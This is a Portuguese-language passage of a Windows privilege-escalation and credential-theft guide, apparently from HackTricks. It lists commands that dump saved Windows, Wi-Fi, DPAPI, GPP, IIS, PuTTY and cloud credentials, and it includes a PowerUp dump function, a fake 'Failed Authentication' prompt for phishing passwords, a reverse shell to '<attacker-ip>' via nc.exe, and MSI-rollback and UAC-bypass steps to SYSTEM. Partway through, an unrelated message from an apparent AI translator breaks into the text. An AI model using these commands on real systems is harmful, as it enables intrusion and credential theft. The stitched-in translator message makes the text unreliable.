O Windows Vault armazena credenciais que o Windows pode usar para efetuar o login dos usuários automaticamente, o que significa que qualquer aplicativo Windows que precise de credenciais para acessar um recurso (servidor ou um website) pode fazer uso deste Credential Manager e do Windows Vault e utilizar as credenciais fornecidas em vez de os usuários digitarem o nome de usuário e a senha o tempo todo.

A menos que os aplicativos interajam com o Credential Manager, não acho que seja possível que eles usem as credenciais para um determinado recurso. Portanto, se seu aplicativo quiser usar o cofre, ele deve de alguma forma comunicar-se com o Credential Manager e solicitar as credenciais para esse recurso do cofre de armazenamento padrão.

Use o cmdkey para listar as credenciais armazenadas na máquina.

bash
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Então você pode usar runas com a opção /savecred para usar as credenciais salvas. O exemplo a seguir chama um binário remoto via um compartilhamento SMB.

bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Usando runas com um conjunto de credenciais fornecidas.

bash
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Observe que mimikatz, lazagne, credentialfileview, VaultPasswordView, ou do Empire Powershells module.

DPAPI

A Data Protection API (DPAPI) fornece um método para criptografia simétrica de dados, predominantemente usado no sistema operacional Windows para a criptografia simétrica de chaves privadas assimétricas. Essa criptografia utiliza um segredo do usuário ou do sistema para contribuir significativamente para a entropia.

DPAPI permite a criptografia de chaves por meio de uma chave simétrica derivada dos segredos de login do usuário. Em cenários envolvendo criptografia do sistema, ela utiliza os segredos de autenticação de domínio do sistema.

Chaves RSA de usuário criptografadas, ao usar o DPAPI, são armazenadas no diretório %APPDATA%\Microsoft\Protect\{SID}, onde {SID} representa o Security Identifier do usuário. A chave DPAPI, co-localizada com a chave mestra que protege as chaves privadas do usuário no mesmo arquivo, normalmente consiste em 64 bytes de dados aleatórios. (É importante notar que o acesso a esse diretório é restrito, impedindo listar seu conteúdo via o comando dir no CMD, embora possa ser listado através do PowerShell).

bash
Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Você pode usar o mimikatz module dpapi::masterkey com os argumentos apropriados (/pvk ou /rpc) para descriptografá-lo.

Os arquivos de credenciais protegidos pela senha mestra geralmente estão localizados em:

bash
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Você pode usar mimikatz module dpapi::cred com o /masterkey apropriado para descriptografar.
Você pode extrair muitas DPAPI masterkeys da memória com o módulo sekurlsa::dpapi (se você for root).

DPAPI - Extracting Passwords

Credenciais do PowerShell

PowerShell credentials são frequentemente usadas para tarefas de scripting e automação como uma forma conveniente de armazenar credenciais criptografadas. As credenciais são protegidas usando DPAPI, o que normalmente significa que só podem ser descriptografadas pelo mesmo usuário no mesmo computador em que foram criadas.

Para descriptografar uma credencial do PS a partir do arquivo que a contém, você pode fazer:

bash
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wi-Fi

bash
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Conexões RDP Salvas

Você pode encontrá-las em HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
e em HKCU\Software\Microsoft\Terminal Server Client\Servers\

Comandos Executados Recentemente

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Gerenciador de Credenciais da Área de Trabalho Remota

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Use o módulo dpapi::rdg do Mimikatz com o /masterkey apropriado para descriptografar quaisquer arquivos .rdg
Você pode extrair muitas DPAPI masterkeys da memória com o módulo sekurlsa::dpapi do Mimikatz

Sticky Notes

Pessoas frequentemente usam o app StickyNotes em estações de trabalho Windows para salvar senhas e outras informações, sem perceber que é um arquivo de banco de dados. Este arquivo está localizado em C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite e vale sempre a pena procurá-lo e examiná-lo.

AppCmd.exe

Observe que, para recuperar senhas do AppCmd.exe, você precisa ser Administrador e executar em um nível de alta integridade.
AppCmd.exe está localizado no diretório %systemroot%\system32\inetsrv\.\
Se este arquivo existir, é possível que algumas credentials tenham sido configuradas e possam ser recuperadas.

Este código foi extraído de PowerUP:

bash
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Verifique se C:\Windows\CCM\SCClient.exe existe .
Instaladores são executados com privilégios SYSTEM, muitos são vulneráveis a DLL Sideloading (Informações de https://github.com/enjoiz/Privesc).

bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Arquivos e Registro (Credenciais)

Putty Credenciais

bash
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Chaves de host SSH do Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

Chaves SSH no registro

Chaves privadas SSH podem ser armazenadas na chave de registro HKCU\Software\OpenSSH\Agent\Keys, então você deve verificar se há algo interessante lá:

bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Se você encontrar qualquer entrada dentro desse caminho, provavelmente será uma chave SSH salva. Ela é armazenada criptografada, mas pode ser facilmente descriptografada usando https://github.com/ropnop/windows_sshagent_extract.
Mais informações sobre esta técnica aqui: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Se o serviço ssh-agent não estiver em execução e você quiser que ele inicie automaticamente no boot, execute:

bash
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

tip

Parece que essa técnica não é mais válida. Tentei criar algumas ssh keys, adicioná-las com ssh-add e fazer login via ssh em uma máquina. O registro HKCU\Software\OpenSSH\Agent\Keys não existe e o procmon não identificou o uso de dpapi.dll durante a autenticação por chave assimétrica.

Arquivos desatendidos

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Você também pode procurar por esses arquivos usando metasploit: post/windows/gather/enum_unattend

Conteúdo de exemplo:

xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Cópias de segurança do SAM e do SYSTEM

bash
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Credenciais de Nuvem

bash
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Procure por um arquivo chamado SiteList.xml

Senha GPP em cache

Uma funcionalidade estava disponível anteriormente que permitia a implantação de contas de administrador local personalizadas em um grupo de máquinas via Group Policy Preferences (GPP). No entanto, esse método apresentava falhas de segurança significativas. Primeiro, os Group Policy Objects (GPOs), armazenados como arquivos XML em SYSVOL, podiam ser acessados por qualquer usuário do domínio. Segundo, as senhas dentro desses GPPs, criptografadas com AES256 usando uma chave padrão documentada publicamente, podiam ser descriptografadas por qualquer usuário autenticado. Isso representava um risco sério, pois poderia permitir que usuários obtivessem privilégios elevados.

Para mitigar esse risco, foi desenvolvida uma função para escanear arquivos GPP em cache local que contenham um campo "cpassword" que não esteja vazio. Ao encontrar tal arquivo, a função descriptografa a senha e retorna um objeto PowerShell personalizado. Esse objeto inclui detalhes sobre o GPP e a localização do arquivo, auxiliando na identificação e na correção dessa vulnerabilidade de segurança.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (anterior ao W Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Para descriptografar o cPassword:

bash
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Usando crackmapexec para obter as senhas:

bash
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

Configuração Web do IIS

bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
bash
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Exemplo de web.config com credenciais:

xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Credenciais do OpenVPN

csharp
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Registros

bash
# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Pedir credentials

Você pode sempre pedir ao usuário que insira suas credentials ou mesmo as credentials de outro usuário se você achar que ele pode conhecê-las (observe que pedir diretamente ao cliente pelas credentials é realmente arriscado):

bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Possíveis nomes de arquivos contendo credentials

Arquivos conhecidos que, há algum tempo, continham passwords em clear-text ou Base64

bash
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Não tenho acesso ao seu sistema de arquivos para "procurar" os arquivos. Por favor, cole o conteúdo de src/windows-hardening/windows-local-privilege-escalation/README.md (ou envie os arquivos que quer que eu traduza). Se quiser que eu procure/traduza vários arquivos, forneça a lista de caminhos ou compacte e envie-os. Vou então traduzir o texto relevante para português mantendo exatamente a mesma sintaxe Markdown/HTML e sem traduzir código, links, tags ou caminhos.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credenciais na Lixeira

Você também deve verificar a lixeira em busca de credenciais.

Para recuperar senhas salvas por vários programas você pode usar: http://www.nirsoft.net/password_recovery_tools.html

Dentro do registro

Outras possíveis chaves do registro com credenciais

bash
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Histórico dos navegadores

Você deve procurar por dbs onde senhas do Chrome ou Firefox são armazenadas.
Também verifique o histórico, bookmarks e favoritos dos navegadores, pois talvez algumas senhas estejam armazenadas lá.

Tools to extract passwords from browsers:

COM DLL Overwriting

Component Object Model (COM) é uma tecnologia integrada ao sistema operacional Windows que permite a intercomunicação entre componentes de software escritos em diferentes linguagens. Cada componente COM é identificado via um class ID (CLSID) e cada componente expõe funcionalidade via uma ou mais interfaces, identificadas via interface IDs (IIDs).

As classes e interfaces COM são definidas no registro sob HKEY\CLASSES\ROOT\CLSID e HKEY\CLASSES\ROOT\Interface, respectivamente. Esse registro é criado pela fusão de HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).

Basicamente, se você conseguir sobrescrever qualquer uma das DLLs que serão executadas, você pode escalar privilégios se essa DLL for executada por um usuário diferente.

Para aprender como atacantes usam o COM Hijacking como mecanismo de persistência, veja:

COM Hijacking

Busca genérica por senhas em arquivos e no registro

Pesquisar por conteúdo de arquivos

bash
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Procurar um arquivo com um determinado nome

bash
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Pesquisar no registro por nomes de chaves e senhas

bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Ferramentas que procuram por senhas

MSF-Credentials Plugin é um plugin do msf. Eu criei este plugin para executar automaticamente todos os módulos POST do metasploit que procuram por credenciais dentro da vítima.
Winpeas busca automaticamente por todos os arquivos que contêm senhas mencionadas nesta página.
Lazagne é outra ótima ferramenta para extrair senhas de um sistema.

A ferramenta SessionGopher busca por sessões, nomes de usuário e senhas de várias ferramentas que salvam esses dados em texto claro (PuTTY, WinSCP, FileZilla, SuperPuTTY e RDP)

bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Leia este exemplo para mais informações sobre como detectar e explorar essa vulnerabilidade.
Leia este outro post para uma explicação mais completa sobre como testar e abusar de mais open handlers de processos e threads herdados com diferentes níveis de permissões (não apenas full access).

Named Pipe Client Impersonation

Segmentos de memória compartilhada, referidos como pipes, permitem comunicação entre processos e transferência de dados.

O Windows fornece um recurso chamado Named Pipes, permitindo que processos não relacionados compartilhem dados, até mesmo entre diferentes redes. Isso assemelha-se a uma arquitetura cliente/servidor, com papéis definidos como named pipe server e named pipe client.

Quando dados são enviados através de um pipe por um cliente, o servidor que criou o pipe tem a capacidade de assumir a identidade do cliente, desde que possua os direitos necessários SeImpersonate. Identificar um processo privilegiado que se comunica via um pipe que você pode imitar oferece a oportunidade de obter privilégios mais altos ao adotar a identidade desse processo assim que ele interagir com o pipe que você estabeleceu. Para instruções sobre como executar esse ataque, guias úteis podem ser encontrados here e here.

Além disso, a seguinte ferramenta permite interceptar a comunicação de named pipe com uma ferramenta como burp: https://github.com/gabriel-sztejnworcel/pipe-intercept e esta ferramenta permite listar e ver todos os pipes para encontrar privescs https://github.com/cyberark/PipeViewer

Misc

File Extensions that could execute stuff in Windows

Confira a página https://filesec.io/

Monitoring Command Lines for passwords

Ao obter um shell como um usuário, podem existir tarefas agendadas ou outros processos sendo executados que passam credenciais na linha de comando. O script abaixo captura as linhas de comando dos processos a cada dois segundos e compara o estado atual com o estado anterior, exibindo quaisquer diferenças.

bash
while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Roubando senhas de processos

De usuário com privilégios reduzidos para NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Se você tem acesso à interface gráfica (via console ou RDP) e o UAC está habilitado, em algumas versões do Microsoft Windows é possível executar um terminal ou qualquer outro processo como "NT\AUTHORITY SYSTEM" a partir de um usuário sem privilégios.

Isso torna possível escalar privilégios e contornar o UAC ao mesmo tempo usando a mesma vulnerabilidade. Além disso, não há necessidade de instalar nada e o binário usado durante o processo é assinado e emitido pela Microsoft.

Alguns dos sistemas afetados são os seguintes:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Para explorar esta vulnerabilidade, é necessário executar os seguintes passos:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Você tem todos os arquivos e informações necessárias no seguinte repositório GitHub:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Leia isto para aprender sobre Níveis de Integridade:

Integrity Levels

Então leia isto para aprender sobre UAC e bypasses do UAC:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

A técnica descrita neste post do blog com um código de exploit disponível aqui.

O ataque basicamente consiste em abusar do recurso de rollback do Windows Installer para substituir arquivos legítimos por maliciosos durante o processo de desinstalação. Para isso o atacante precisa criar um malicious MSI installer que será usado para sequestrar a pasta C:\Config.Msi, a qual depois será usada pelo Windows Installer para armazenar arquivos de rollback durante a desinstalação de outros pacotes MSI, onde os arquivos de rollback teriam sido modificados para conter o payload malicioso.

A técnica resumida é a seguinte:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

  • Step 1: Install the MSI

  • Crie um .msi que instale um arquivo inofensivo (por exemplo, dummy.txt) em uma pasta gravável (TARGETDIR).

  • Marque o instalador como "UAC Compliant", assim um usuário não-admin pode executá‑lo.

  • Mantenha um handle aberto para o arquivo após a instalação.

  • Step 2: Begin Uninstall

  • Desinstale o mesmo .msi.

  • O processo de desinstalação começa a mover arquivos para C:\Config.Msi e renomeá‑los para arquivos .rbf (backups de rollback).

  • Poll the open file handle usando GetFinalPathNameByHandle para detectar quando o arquivo se torna C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • O .msi inclui uma custom uninstall action (SyncOnRbfWritten) que:

  • Sinaliza quando o .rbf foi escrito.

  • Então espera por outro evento antes de continuar a desinstalação.

  • Step 4: Block Deletion of .rbf

  • Quando sinalizado, abra o arquivo .rbf sem FILE_SHARE_DELETE — isso impede que ele seja deletado.

  • Então sinalize de volta para que a desinstalação possa terminar.

  • O Windows Installer não consegue deletar o .rbf, e como não consegue deletar todo o conteúdo, C:\Config.Msi não é removido.

  • Step 5: Manually Delete .rbf

  • Você (atacante) deleta o arquivo .rbf manualmente.

  • Agora C:\Config.Msi está vazio, pronto para ser sequestrado.

Nesse ponto, ative a vulnerabilidade de deletion arbitrária de pasta em nível SYSTEM para deletar C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Recrie a pasta C:\Config.Msi você mesmo.

  • Defina DACLs fracas (por exemplo, Everyone:F), e mantenha um handle aberto com WRITE_DAC.

  • Step 7: Run Another Install

  • Instale o .msi novamente, com:

  • TARGETDIR: Local gravável.

  • ERROROUT: Uma variável que provoca uma falha forçada.

  • Essa instalação será usada para disparar o rollback novamente, que lê .rbs e .rbf.

  • Step 8: Monitor for .rbs

  • Use ReadDirectoryChangesW para monitorar C:\Config.Msi até que um novo .rbs apareça.

  • Capture seu nome de arquivo.

  • Step 9: Sync Before Rollback

  • O .msi contém uma custom install action (SyncBeforeRollback) que:

  • Sinaliza um evento quando o .rbs é criado.

  • Então espera antes de continuar.

  • Step 10: Reapply Weak ACL

  • Após receber o evento .rbs created:

  • O Windows Installer reaplica ACLs fortes para C:\Config.Msi.

  • Mas como você ainda tem um handle com WRITE_DAC, você pode reaplicar ACLs fracas novamente.

ACLs são aplicadas apenas quando o handle é aberto, então você ainda pode escrever na pasta.

  • Step 11: Drop Fake .rbs and .rbf

  • Sobrescreva o arquivo .rbs com um fake rollback script que instrui o Windows a:

  • Restaurar seu .rbf (malicious DLL) em um local privilegiado (por exemplo, C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Depositar seu fake .rbf contendo uma malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Sinalize o evento de sincronização para que o instalador retome.

  • Uma type 19 custom action (ErrorOut) é configurada para falhar intencionalmente a instalação em um ponto conhecido.

  • Isso faz com que o rollback seja iniciado.

  • Step 13: SYSTEM Installs Your DLL

  • O Windows Installer:

  • Lê seu .rbs malicioso.

  • Copia seu .rbf DLL para o local de destino.

  • Agora você tem sua malicious DLL em um caminho carregado pelo SYSTEM.

  • Final Step: Execute SYSTEM Code

  • Execute um binário confiável auto-elevado (por exemplo, osk.exe) que carrega a DLL que você sequestrou.

  • Boom: Seu código é executado como SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

A técnica principal de rollback do MSI (a anterior) assume que você pode deletar uma pasta inteira (por exemplo, C:\Config.Msi). Mas e se sua vulnerabilidade só permitir deleção arbitrária de arquivos?

Você poderia explorar os internos do NTFS: toda pasta tem um fluxo de dados alternativo oculto chamado:

C:\SomeFolder::$INDEX_ALLOCATION

Este stream armazena os metadados de índice da pasta.

Portanto, se você excluir o stream ::$INDEX_ALLOCATION de uma pasta, o NTFS remove a pasta inteira do sistema de arquivos.

Você pode fazer isso usando APIs padrão de exclusão de arquivos como:

c
DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Mesmo que você esteja chamando uma API de exclusão de arquivo, ela exclui a própria pasta.

From Folder Contents Delete to SYSTEM EoP

What if your primitive doesn’t allow you to delete arbitrary files/folders, but it does allow deletion of the contents of an attacker-controlled folder?

  1. Passo 1: Crie uma pasta isca e um arquivo
  • Crie: C:\temp\folder1
  • Dentro dela: C:\temp\folder1\file1.txt
  1. Passo 2: Coloque um oplock em file1.txt
  • O oplock pausa a execução quando um processo privilegiado tenta excluir file1.txt.
c
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Etapa 3: Acionar o processo SYSTEM (por exemplo, SilentCleanup)
